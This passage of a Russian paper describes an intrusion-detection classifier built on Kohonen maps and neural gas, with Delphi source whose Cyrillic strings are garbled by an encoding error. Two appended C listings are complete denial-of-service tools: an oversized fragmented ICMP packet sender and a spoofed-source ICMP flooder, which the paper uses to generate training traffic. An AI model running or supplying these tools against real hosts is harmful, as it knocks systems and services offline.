Кластеризация групп входящих пакетов с помощью нейронных сетей конкурирующего типа
	
	p align="left">Табл. 1. Весовые коэффициенты нейронов карты Кохонена для примера 1.Заключение В результате проделанной работы создана интеллектуальная система анализа входящего трафика по классам опасности. Система построена на использовании нейронной сети конкурирующего типа. Реализовано обучение сети пятью методами самоорганизации: классический (с настройкой соседей и без неё), механизм утомления (с настройкой соседей и без неё) и алгоритм нейронного газа. В качестве обучающей выборки были использованы данные из журнала входящего трафика, содержащие как пакета передачи данных и управляющие пакеты, так и “опасные” пакеты направленные на нарушение работы хоста (атака для создания доверительного TCP - соединения, лавинное заваливание ICMP и UDP пакетами, передача крупных несвязанных фрагментированных пакетов). Входящие пакеты объединялись в группы и для каждой из групп определялись интегральные критерии на принадлежность к классу опасности. В результате самообучения нейронной сети создан классификатор входящих пакетов. Список используемой литературы 1. Джон Чирилло. Обнаружение хакерских атак. Для профессионалов (+CD). - СПб.: Питер 2003. - 864 с.: ил. 2. И.Д. Медведовский, П.В. Семьянов, В.В. Платонов. Атака через Internet. Москва. НПО "Мир и семья-95" - 1997 3.Арсеньев С. “Извлечение данных из медицинских баз данных” 4. Круглов В.В., Борисов В.В. “Искусственные нейронные сети. Теория и практика”. -2-е изд., стереотип. - Москва: Горячая линия - Телеком, 2002 г. - 382 с.: ил. 5. Горбань А.Н., Россиев Д.А. “Нейронные сети на персональном компьютере” - Новосибирск: Наука. Сибирская издательская фирма РАН, 1996 г. -276 с.: ил. 6. Ф. Уоссерман “Нейрокомпьютерная техника: теория и практика” - Москва.: Мир, 1992 -182 стр.: ил.  7. Корнеев В.В., Гареев А.Ф., Васютин С.В., Райх В.В. “Базы данных. Интеллектуальная обработка информации” - Москва.: “Нолидж”, 2000 г., - 356с.: ил. 8. Осовский Станислав. Нейронные сети для обработки информации. М: Финансы и статистика. 2002 г. -335 с: ил. 9. Назаров А.В., Лоскутов А.И. Нейросетевые алгоритмы прогнозирования и оптимизации систем. Санкт-Петергург, Наука и техника. 2003 г. - Листинг программ 1.Атака лавинного типа (запрос на создание TCP-соедиения) #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #ifdef REALLY_RAW #define FIX(x) htons(x) #else #define FIX(x) (x) #endif int main(int argc, char **argv) {  int s;  char buf[1500];  struct ip *ip = (struct ip *)buf;  struct icmp *icmp = (struct icmp *)(ip + 1);  struct hostent *hp;  struct sockaddr_in dst;  int offset;  int on = 1;  bzero(buf, sizeof buf);  if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {  perror("socket");  exit(1);  }  if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {  perror("IP_HDRINCL");  exit(1);  }  if (argc != 2) {  fprintf(stderr, "usage: %s hostname\n", argv[0]);  exit(1);  }  if ((hp = gethostbyname(argv[1])) == NULL) {  if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {  fprintf(stderr, "%s: unknown host\n", argv[1]);  }  } else {  bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);  }  printf("Sending to %s\n", inet_ntoa(ip->ip_dst));  ip->ip_v = 4;  ip->ip_hl = sizeof *ip >> 2;  ip->ip_tos = 0;  ip->ip_len = FIX(sizeof buf);  ip->ip_id = htons(4321);  ip->ip_off = FIX(0);  ip->ip_ttl = 255;  ip->ip_p = 1;  ip->ip_sum = 0; /* kernel fills in */  ip->ip_src.s_addr = 0; /* kernel fills in */  dst.sin_addr = ip->ip_dst;  dst.sin_family = AF_INET;  icmp->icmp_type = ICMP_ECHO;  icmp->icmp_code = 0;  icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));  /* the checksum of all 0's is easy to compute */  for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {  ip->ip_off = FIX(offset >> 3);  if (offset < 65120)  ip->ip_off |= FIX(IP_MF);  else  ip->ip_len = FIX(418); /* make total 65538 */  if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,  sizeof dst) < 0) {  fprintf(stderr, "offset %d: ", offset);  perror("sendto");  }  if (offset == 0) {  icmp->icmp_type = 0;  icmp->icmp_code = 0;  icmp->icmp_cksum = 0;  }  } } Листинг 2. Атака лавинного типа подменёнными ICMP - пакетами. #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <netdb.h> #include <netinet/ip.h> #include <netinet/in.h> #include <netinet/ip_icmp.h> #define IPHDRSIZE sizeof(struct iphdr) #define ICMPHDRSIZE sizeof(struct icmphdr) #define VIRGIN "1.1" void version(void) { printf("flood %s - by FA-Q\n", VIRGIN);  } void usage(const char *progname)  { printf("usage: %s [-fV] [-c count] [-i wait] [-s packetsize] <target> <broadcast>\n",progname);  } unsigned char *dest_name; unsigned char *spoof_name = NULL; struct sockaddr_in destaddr, spoofaddr; unsigned long dest_addr; unsigned long spoof_addr; unsigned pingsize, pingsleep, pingnmbr; char flood = 0; unsigned short in_cksum(addr, len)  u_short *addr;  int len; {  register int nleft = len;  register u_short *w = addr;  register int sum = 0;  u_short answer = 0;   while (nleft > 1) {  sum += *w++;  nleft -= 2;  }   if (nleft == 1) {  *(u_char *)(&answer) = *(u_char *)w;  sum += answer;  }  sum = (sum >> 16) + (sum & 0xffff);   sum += (sum >> 16);  answer = ~sum;  return(answer); } int resolve( const char *name, struct sockaddr_in *addr, int port )  { struct hostent *host; bzero((char *)addr,sizeof(struct sockaddr_in)); if (( host = gethostbyname(name) ) == NULL ) {  fprintf(stderr,"%s will not resolve\n",name);  perror(""); return -1; }  addr->sin_family = host->h_addrtype; memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length); addr->sin_port = htons(port);   return 0;  } unsigned long addr_to_ulong(struct sockaddr_in *addr)  { return addr->sin_addr.s_addr;  } int resolve_one(const char *name, unsigned long *addr, const char *desc)  {  struct sockaddr_in tempaddr; if (resolve(name, &tempaddr,0) == -1) {  printf("%s will not resolve\n",desc);  return -1; }  *addr = tempaddr.sin_addr.s_addr;  return 0;  } int resolve_all(const char *dest, const char *spoof)  {  if (resolve_one(dest,&dest_addr,"dest address")) return -1; if (spoof!=NULL)   if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1; spoofaddr.sin_addr.s_addr = spoof_addr;  spoofaddr.sin_family = AF_INET; destaddr.sin_addr.s_addr = dest_addr; destaddr.sin_family = AF_INET;  } void give_info(void)  {  printf("\nattacking (%s) from (%s)\n",inet_ntoa(spoof_addr),dest_name);  } int parse_args(int argc, char *argv[])   {  int opt; char *endptr; while ((opt=getopt(argc, argv, "fc:s:i:V")) != -1) {  switch(opt) {  case 'f': flood = 1; break;  case 'c': pingnmbr = strtoul(optarg,&endptr,10);  if (*endptr != '\0') {  printf("%s is an invalid number '%s'.\n", argv[0], optarg);  return -1;  }  break;  case 's': pingsize = strtoul(optarg,&endptr,10);  if (*endptr != '\0') {  printf("%s is a bad packet size '%s'\n", argv[0], optarg);  return -1;  }  break;  case 'i': pingsleep = strtoul(optarg,&endptr,10);  if (*endptr != '\0') {  printf("%s is a bad wait time '%s'\n", argv[0], optarg);  return -1;  }  break;  case 'V': version(); break;  case '?':  case ':': return -1; break;  }  }  if (optind > argc-2) {  return -1; }   if (!pingsize)  pingsize = 28;  else  pingsize = pingsize - 36;  if (!pingsleep)  pingsleep = 100; spoof_name = argv[optind++]; dest_name = argv[optind++];  return 0;   }  inline int icmp_echo_send(int socket,   unsigned long spoof_addr,  unsigned long t_addr,  unsigned pingsize)  { unsigned char packet[5122]; struct iphdr *ip; struct icmphdr *icmp; struct iphdr *origip;  unsigned char *data;  int i; ip = (struct iphdr *)packet; icmp = (struct icmphdr *)(packet+IPHDRSIZE); origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE); data = (char *)(packet+pingsize+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE); memset(packet, 0, 5122); ip->version = 4; ip->ihl = 5;  ip->ttl = 255-random()%15; ip->protocol = IPPROTO_ICMP; ip->tot_len = htons(pingsize + IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8);  bcopy((char *)&destaddr.sin_addr, &ip->daddr, sizeof(ip->daddr));  bcopy((char *)&spoofaddr.sin_addr, &ip->saddr, sizeof(ip->saddr));  ip->check = in_cksum(packet,IPHDRSIZE); origip->version = 4; origip->ihl = 5; origip->ttl = ip->ttl - random()%15; origip->protocol = IPPROTO_TCP;  origip->tot_len = IPHDRSIZE + 30;  origip->id = random()%69;  bcopy((char *)&destaddr.sin_addr, &origip->saddr, sizeof(origip->saddr));  origip->check = in_cksum(origip,IPHDRSIZE); *((unsigned int *)data) = htons(pingsize); icmp->type = 8; /* why should this be 3? */ icmp->code = 0; icmp->checksum = in_cksum(icmp,pingsize+ICMPHDRSIZE+IPHDRSIZE+8); return sendto(socket,packet,pingsize+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8,0,  (struct sockaddr *)&destaddr,sizeof(struct sockaddr));   } void main(int argc, char *argv[])  {  int s, i;  int floodloop;  if (parse_args(argc,argv))   {   usage(argv[0]);   return;  } resolve_all(dest_name, spoof_name); give_info();   s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);  if (!flood)  {  if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)  {  printf("%s error sending packet\n",argv[0]); perror(""); return;  }  } else  {  floodloop = 0;  if ( pingnmbr && (pingnmbr > 0) )  {  printf("sending... packet limit set\n");  for (i=0;i<pingnmbr;i++)  {  if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)   {  printf("%s error sending packet\n",argv[0]); perror(""); return;   }  usleep((pingsleep*1000));   if (!(floodloop = (floodloop+1)%25))   { fprintf(stdout,"."); fflush(stdout);   }  }  printf("\ncomplete, %u packets sent\n", pingnmbr);  }  else {  printf("flooding, (. == 25 packets)\n");  for (i=0;i<1;i)  {  if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)   {  printf("%s error sending packet\n",argv[0]); perror(""); return;   }  usleep(900);   if (!(floodloop = (floodloop+1)%25))   { fprintf(stdout,"."); fflush(stdout);   }  }  }  }  } Листинг 3. Самоорганизующаяся карта признаков. TNeuron = class  public  IntVal : TIntArray;  ExtVal : TExtArray;  Pos : Extended;  Status : Extended;  Y : Extended;  MassWeight : Array of Extended;  constructor Init(a : PIntArray; b : PExtArray);  function FunctionActivation : Extended;  procedure GetAksonValue(a : PExtArray);  procedure Randomization;  procedure Distantion(a : PExtArray);  end;  TLayer = class  public  ExtArr : TExtArray;  Neurons : Array of TNeuron;  QNeurons : integer;  QInputs : integer;  InputValues : Array of Extended;  OutputValues : Array of Extended;  constructor Init(a : PIntArray; b : PExtArray);  procedure GetInputValues(Values : PExtArray);  procedure GetOutputValues;  procedure Excitement;  procedure randomization;  end;  TKohonenLayer = class(TLayer)  public  eta,sigma : Extended;  h,w : Word;  constructor Init(a : PIntArray; b : PExtArray);  procedure Normalize;  function TheWinnerTakesItAll : integer;  function Classic : integer;  procedure Learning(a : integer; SpeedLearn : Extended);  procedure LearningNeib(a : integer; SpeedLearn : Extended);  procedure SigmaInit(s : Extended);  procedure ConvexCombination(delta : Extended);  procedure NeuralGaz(SpeedLearn : Extended);  end; procedure TKohonenLayer.SigmaInit(s : Extended); begin  Sigma:=s; end; procedure TKohonenLayer.ConvexCombination(delta : Extended); var i : integer; begin  eta:=eta+delta;  sigma:=sigma+0.1-10*delta;  for i:=0 to QInputs-1 do InputValues[i]:=InputValues[i]*eta+(1-eta)/sqrt(QInputs); end; constructor TKohonenLayer.Init(a : PIntArray; b : PExtArray); var i : integer; New : TIntArray; begin  Inherited Init(a,b);  New:=a^;  H:=New.Value[3];  W:=Round(New.Value[2]/New.Value[3]);  Randomization;  for i:=0 to New.Value[2]-1 do Neurons[i].Pos:=3.75;  eta:=0; end; procedure TKohonenLayer.Normalize; var i : integer;  Sum : Extended; begin  Sum:=0;  for i:=0 to QInputs-1 do Sum:=Sum+Sqr(InputValues[i]);  for i:=0 to QInputs-1 do  InputValues[i]:=InputValues[i]/Sqrt(Sum); end; function TKohonenLayer.TheWinnerTakesItAll : integer; var i,p : integer; Min : Extended; begin  Min:=Neurons[0].Y;  p:=0;  for i:=1 to QNeurons-1 do  begin  if Neurons[i].Pos>0.75 then  if Min>Neurons[i].Y then  begin  p:=i;  Min:=Neurons[i].Y;  end;  end;  for i:=0 to QNeurons-1 do Neurons[i].Y:=0;  for i:=0 to QNeurons-1 do  if i=p then Neurons[i].Pos:=Neurons[i].Pos-0.75  else Neurons[i].Pos:=Neurons[i].Pos+1/QNeurons;  Neurons[p].Y:=1;  GetOutputValues;  TheWinnerTakesItAll:=p; end; function TKohonenLayer.Classic : integer; var i,p : integer; Min : Extended; begin  Min:=Neurons[0].Y;  p:=0;  for i:=1 to QNeurons-1 do  begin  if Min>Neurons[i].Y then  begin  p:=i;  Min:=Neurons[i].Y;  end;  end;  for i:=0 to QNeurons-1 do Neurons[i].Y:=0;  Neurons[p].Y:=1;  GetOutputValues;  Classic:=p; end; procedure TKohonenLayer.Learning(a : integer; SpeedLearn : Extended); var i : integer; begin  for i:=1 to QInputs do  Neurons[a].MassWeight[i]:=Neurons[a].MassWeight[i]+  SpeedLearn*(InputValues[i-1]-Neurons[a].MassWeight[i]); end; procedure TKohonenLayer.LearningNeib(a : integer; SpeedLearn : Extended); var i,j : integer; begin  for j:=0 to QNeurons-1 do  begin  for i:=1 to QInputs do  Neurons[j].MassWeight[i]:=Neurons[j].MassWeight[i]+  exp(-(Sqr((j div w)-(a div w)) + Sqr((j mod h)-(a mod h)))/(2*Sqr(sigma)))  *SpeedLearn*(InputValues[i-1]-Neurons[j].MassWeight[i]);  end; end; procedure TKohonenLayer.NeuralGaz(SpeedLearn : Extended); var i,j,k,p : integer; Mass : Array of Extended; Min : Extended; begin  SetLength(Mass,QNeurons);  for i:=0 to QNeurons-1 do Mass[i]:=-1;  p:=0;  for i:=0 to QNeurons-1 do  begin  p:=p+1;  Min:=999999;  k:=-1;  for j:=0 to QNeurons-1 do  begin  if Neurons[j].Y<Min then  if Mass[j]=-1 then  begin  k:=j;  Min:=Neurons[j].Y;  end;  end;  Mass[k]:=p;  end;  for j:=0 to QNeurons-1 do  begin  for i:=1 to QInputs do  Neurons[j].MassWeight[i]:=Neurons[j].MassWeight[i]+  exp(-Mass[j]/Sigma)*SpeedLearn*(InputValues[i-1]-Neurons[j].MassWeight[i]);  end; end; constructor TNeuron.Init(a : PIntArray; b : PExtArray); var New : TIntArray; begin  New:=a^;  ExtVal:=b^;  IntVal:=TIntArray.Init(2);  IntVal.Value[0]:=New.Value[0]+1;  IntVal.Value[1]:=New.Value[1];  SetLength(MassWeight,IntVal.Value[0]);  if IntVal.Value[0]>0 then MassWeight[0]:=0;  Status:=0;  Y:=0;  Pos:=0; end; procedure TNeuron.GetAksonValue(a : PExtArray); var  i : integer;  b : TExtArray; begin  b:=a^;  Status:=MassWeight[0];  for i:=1 to IntVal.Value[0]-1 do Status:=Status+MassWeight[i]*b.Value[i-1];  Y:=FunctionActivation; end; procedure TNeuron.Distantion(a : PExtArray); var i : integer; b : TExtArray; begin  b:=a^;  Status:=0;  for i:=1 to IntVal.Value[0]-1 do Y:=Y+Sqr(MassWeight[i]-b.Value[i-1]);  Y:=Sqrt(Y); end; function TNeuron.FunctionActivation : Extended; Var m : Extended; begin  case IntVal.Value[1] of  1 : m:=1/(1+exp(-ExtVal.Value[0]*Status));  2 : m:=ExtVal.Value[0]*Status;  end;  FunctionActivation:=m; end; procedure TNeuron.Randomization; var i : integer; begin  for i:=0 to IntVal.Value[0]-1 do MassWeight[i]:=random(255); end; constructor TLayer.Init(a : PIntArray; b : PExtArray); var i : integer; //c : TIntArray; IntArr : TIntArray; begin  IntArr:=a^;  QInputs:=IntArr.Value[0];  QNeurons:=IntArr.Value[2];  IntArr.NewLength(2);  ExtArr:=b^;  SetLength(Neurons,SizeOf(TNeuron)*QNeurons);  for i:=0 to QNeurons-1 do Neurons[i]:=TNeuron.Init(@IntArr,b);  SetLength(InputValues,QInputs);  for i:=0 to QInputs-1 do InputValues[i]:=0;  SetLength(OutputValues,QNeurons); end; procedure TLayer.GetInputValues(Values : PExtArray); var i : integer;  a : TExtArray; begin  a:=Values^;  for i:=0 to QInputs-1 do InputValues[i]:=a.Value[i]; end; procedure TLayer.Excitement; var i : integer;  a : TExtArray; begin  a:=TExtArray.Init(QInputs);  for i:=0 to QInputs-1 do a.Value[i]:=InputValues[i];  for i:=0 to QNeurons-1 do Neurons[i].Distantion(@a);//GetAksonValue(@a);  GetOutputValues; end; procedure TLayer.GetOutputValues; var i : integer; begin  for i:=0 to QNeurons-1 do OutputValues[i]:=Neurons[i].Y; end; procedure TLayer.randomization; var i : integer; begin  for i:=0 to QNeurons-1 do Neurons[i].Randomization; end; procedure TForm1.Button2Click(Sender: TObject); var F : TextFile; i,j,p,s1,s2,k : integer; Str : String; Ch : Char; Sum : integer; Temp : Array of String; begin OpenDialog1.Filter:='?o?iaeuiue oaee|*.log|'; if (OpenDialog1.Execute) and fileExists(OpenDialog1.FileName) then  begin  AssignFile(F,OpenDialog1.FileName);  Reset(F);  ReadLn(F);  Read(F,Q);  SetLength(Prot,Q);  SetLength(Host,Q);  SetLength(LocalH,Q);  SetLength(Frag,Q);  SetLength(Size,Q);  SetLength(Proc,Q);  SetLength(Active,Q);  SetLength(HACK,Q);  MyList.Clear;  MyList.Add('Iiia?');  MyList.Add('I?ioieie');  MyList.Add('Oino');  MyList.Add('Naiy EAN');  MyList.Add('O?aaiaioaoey');  MyList.Add('?acia?');  MyList.Add('I?ioanni? %%');  MyList.Add('Ioaa?aao');  StringGrid1.RowCount:=Q+1;  StringGrid1.Rows[0]:=MyList;  for i:=0 to Q-1 do  begin  MyList.Clear;  Read(F,j);  MyList.Add(IntToStr(j));  //Memo4.Lines.Add(IntToStr(j));  Read(F,Ch);  Read(F,Ch);  Read(F,Ch);  Prot[i]:='';  While(ch<>' ') do  begin  Prot[i]:=Prot[i]+Ch;  Read(F,Ch);  end;  MyList.Add(Prot[i]);  Read(F,Ch);  Read(F,Ch);  Read(F,Ch);  Host[i]:='';  While(ch<>' ') do  begin  Host[i]:=Host[i]+Ch;  Read(F,Ch);  end;  MyList.Add(Host[i]);  Read(F,Ch);  Read(F,Ch);  Str:='';  While(ch<>' ') do  begin  Str:=Str+Ch;  Read(F,Ch);  end;  MyList.Add(Str);  if Str='YES' then LocalH[i]:=1 else LocalH[i]:=0;  Read(F,Ch);  Read(F,Ch);  Str:='';  While(ch<>' ') do  begin  Str:=Str+Ch;  Read(F,Ch);  end;  MyList.Add(Str);  if Str='YES' then Frag[i]:=1 else Frag[i]:=0;  Read(F,Size[i]);  MyList.Add(IntToStr(Size[i]));  Read(F,Proc[i]);  MyList.Add(IntToStr(Proc[i]));  Read(F,Ch);  Read(F,Ch);  Read(F,Ch);  Str:='';  While(ch<>' ') do  begin  Str:=Str+Ch;  Read(F,Ch);  end;  MyList.Add(Str);  if Str='YES' then Active[i]:=1 else Active[i]:=0;  StringGrid1.Rows[j]:=MyList;  Read(F,Ch);  if Ch='H' then HACK[i]:=1 else HACK[i]:=0;  //Memo4.Lines.Add('**************');  end;  //Memo4.Lines.Add(IntToStr(Q));  CloseFile(F);  SetLength(Temp,10);  SetLength(Mass,(Q-1)*11);  SetLength(SHack,Q-1);  for i:=0 to Q-12 do  begin  Mass[12*i]:=0;  for j:=0 to 9 do Mass[12*i]:=Mass[12*i]+LocalH[i+j];  Mass[12*i+1]:=0;  for j:=0 to 9 do Mass[12*i+1]:=Mass[12*i+1]+Frag[i+j];  Mass[12*i+2]:=0;  Mass[12*i+3]:=0;  for j:=0 to 9 do  if Prot[i+j]='TCP' then Mass[12*i+2]:=Mass[12*i+2]+1;  for j:=0 to 9 do  if Prot[i+j]='UDP' then Mass[12*i+3]:=Mass[12*i+3]+1;  Sum:=1;  s1:=0;  for j:=0 to 9 do  begin  Str:=Host[i+j];  p:=0;  for k:=0 to 9 do  begin  if Str=Host[i+k] then  begin  p:=p+1;  s2:=k;  end;  end;  if p>Sum then  begin  Sum:=p;  s1:=s2;  end;  end;  Mass[12*i+4]:=Sum;  Mass[12*i+5]:=LocalH[i+s1];  Sum:=0;  for j:=0 to 9 do Sum:=Sum+Proc[i+j];  Mass[12*i+6]:=Sum/10;  Mass[12*i+7]:=Proc[i+9]-Proc[i];  Sum:=0;  for j:=0 to 9 do Sum:=Sum+Size[i+j];  Mass[12*i+8]:=Sum/10;  Sum:=0;  for j:=0 to 9 do  if (Size[i+j]>=0.8*Mass[12*i+8])and  (Size[i+j]<=1.2*Mass[12*i+8]) then Sum:=Sum+1;  Mass[12*i+9]:=Sum;  Sum:=0;  for j:=0 to 9 do Sum:=Sum+Active[i+j];  Mass[12*i+10]:=Sum;  for j:=0 to 9 do Temp[j]:=Host[i+j];  for j:=0 to 8 do  begin  Str:=Temp[j];  for k:=0 to 9 do  if k<>j then  if Str=Temp[k] then Temp[k]:='';  end;  Sum:=0;  for j:=0 to 9 do  if Temp[j]<>'' then Sum:=Sum+1;  Mass[12*i+11]:=Sum;  Sum:=0;  for j:=0 to 9 do Sum:=Sum+HACK[i+j];  SHAck[i]:=Sum;  end; end; end; procedure TForm1.InitializationMap; var i,j,p : integer; begin  for i:=0 to H*W-1 do  begin  p:=Random(Q-13);  for j:=0 to 10 do  KMap.Neurons[i].MassWeight[j+1]:=Mass[12*p+j];  end; end; procedure TForm1.Button3Click(Sender: TObject); var i,j,p,k,m : integer;  Quant,Winner : integer;  Part : TExtArray;  SMax,SMin : Extended; begin  InitializationMap;  for i:=0 to Image1.Height-1 do  for j:=0 to Image1.Width-1 do  Image1.Picture.Bitmap.Canvas.Pixels[i,j]:=RGB(150,150,150);  Quant:=StrToInt(Edit3.Text);  Part:=TExtArray.Init(12);  SMax:=0.7;  SMin:=0.0001;  ProgressBar1.Max:=Quant;  ProgressBar1.Position:=0;  for i:=0 to Quant-1 do  begin  KMap.SigmaInit(10*(1-i/Quant)+0.1);  p:=Random(Q-12);  for j:=0 to 11 do Part.Value[j]:=Mass[12*p+j];  KMap.GetInputValues(@Part);  KMap.Excitement;  Case RadioGroup1.ItemIndex of  0:  begin  Winner:=KMap.Classic;  if CheckBox1.Checked then KMap.LearningNeib(Winner,SMax-(SMax-SMin)*i/Quant)  else KMap.Learning(Winner,SMax-(SMax-SMin)*i/Quant);  end;  1:  begin  Winner:=KMAp.TheWinnerTakesItAll;  if CheckBox1.Checked then KMap.LearningNeib(Winner,SMax-(SMax-SMin)*i/Quant)  else KMap.Learning(Winner,SMax-(SMax-SMin)*i/Quant)  end;  2:  begin  KMap.NeuralGaz(SMax-(SMax-SMin)*i/Quant);  end;  end;  ProgressBar1.StepBy(1);  end;  ProgressBar1.Position:=0;  for i:=0 to KMap.QNeurons-1 do  KMap.Neurons[i].MassWeight[0]:=0;  for i:=0 to Q-12 do  begin  for j:=0 to 11 do Part.Value[j]:=Mass[12*i+j];  KMap.GetInputValues(@Part);  KMap.Excitement;  Winner:=KMap.Classic;  KMap.Neurons[Winner].MassWeight[0]:=1;  //Memo4.Lines.Add(IntToStr(Winner));  if SHack[i]>=8 then  begin  for m:=0 to W1-1 do  for k:=0 to H1-1 do  Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(255,0,0);  end  else if SHack[i]=7 then  begin  for m:=0 to W1-1 do  for k:=0 to H1-1 do  Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(255,40,40);  end  else if SHack[i]=6 then  begin  for m:=0 to W1-1 do  for k:=0 to H1-1 do  Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,80,80);  end  else if SHack[i]=5 then  begin  for m:=0 to W1-1 do  for k:=0 to H1-1 do  Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,120,120);  end  else if SHack[i]=4 then  begin  for m:=0 to W1-1 do  for k:=0 to H1-1 do  Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,160,160);  end  else if SHack[i]=3 then  begin  for m:=0 to W1-1 do  for k:=0 to H1-1 do  Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,200,200);  end  else  begin  for m:=0 to W1-1 do  for k:=0 to H1-1 do  Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,225,225);  end;  //Image2.Picture.Bitmap.Canvas.  //.Pixels[j,i]:=RGB(  end;  for i:=0 to KMap.QNeurons-1 do  begin  if KMap.Neurons[i].MassWeight[0]=1 then  begin  Memo3.Lines.Add('Iae?ii '+IntToStr(i));  for j:=0 to KMap.QInputs-1 do  Memo3.Lines.Add(FloatToStr(KMap.Neurons[i].MassWeight[j]));  end;  end; end; 
Страницы: 1, 2 
	
	
					
				   |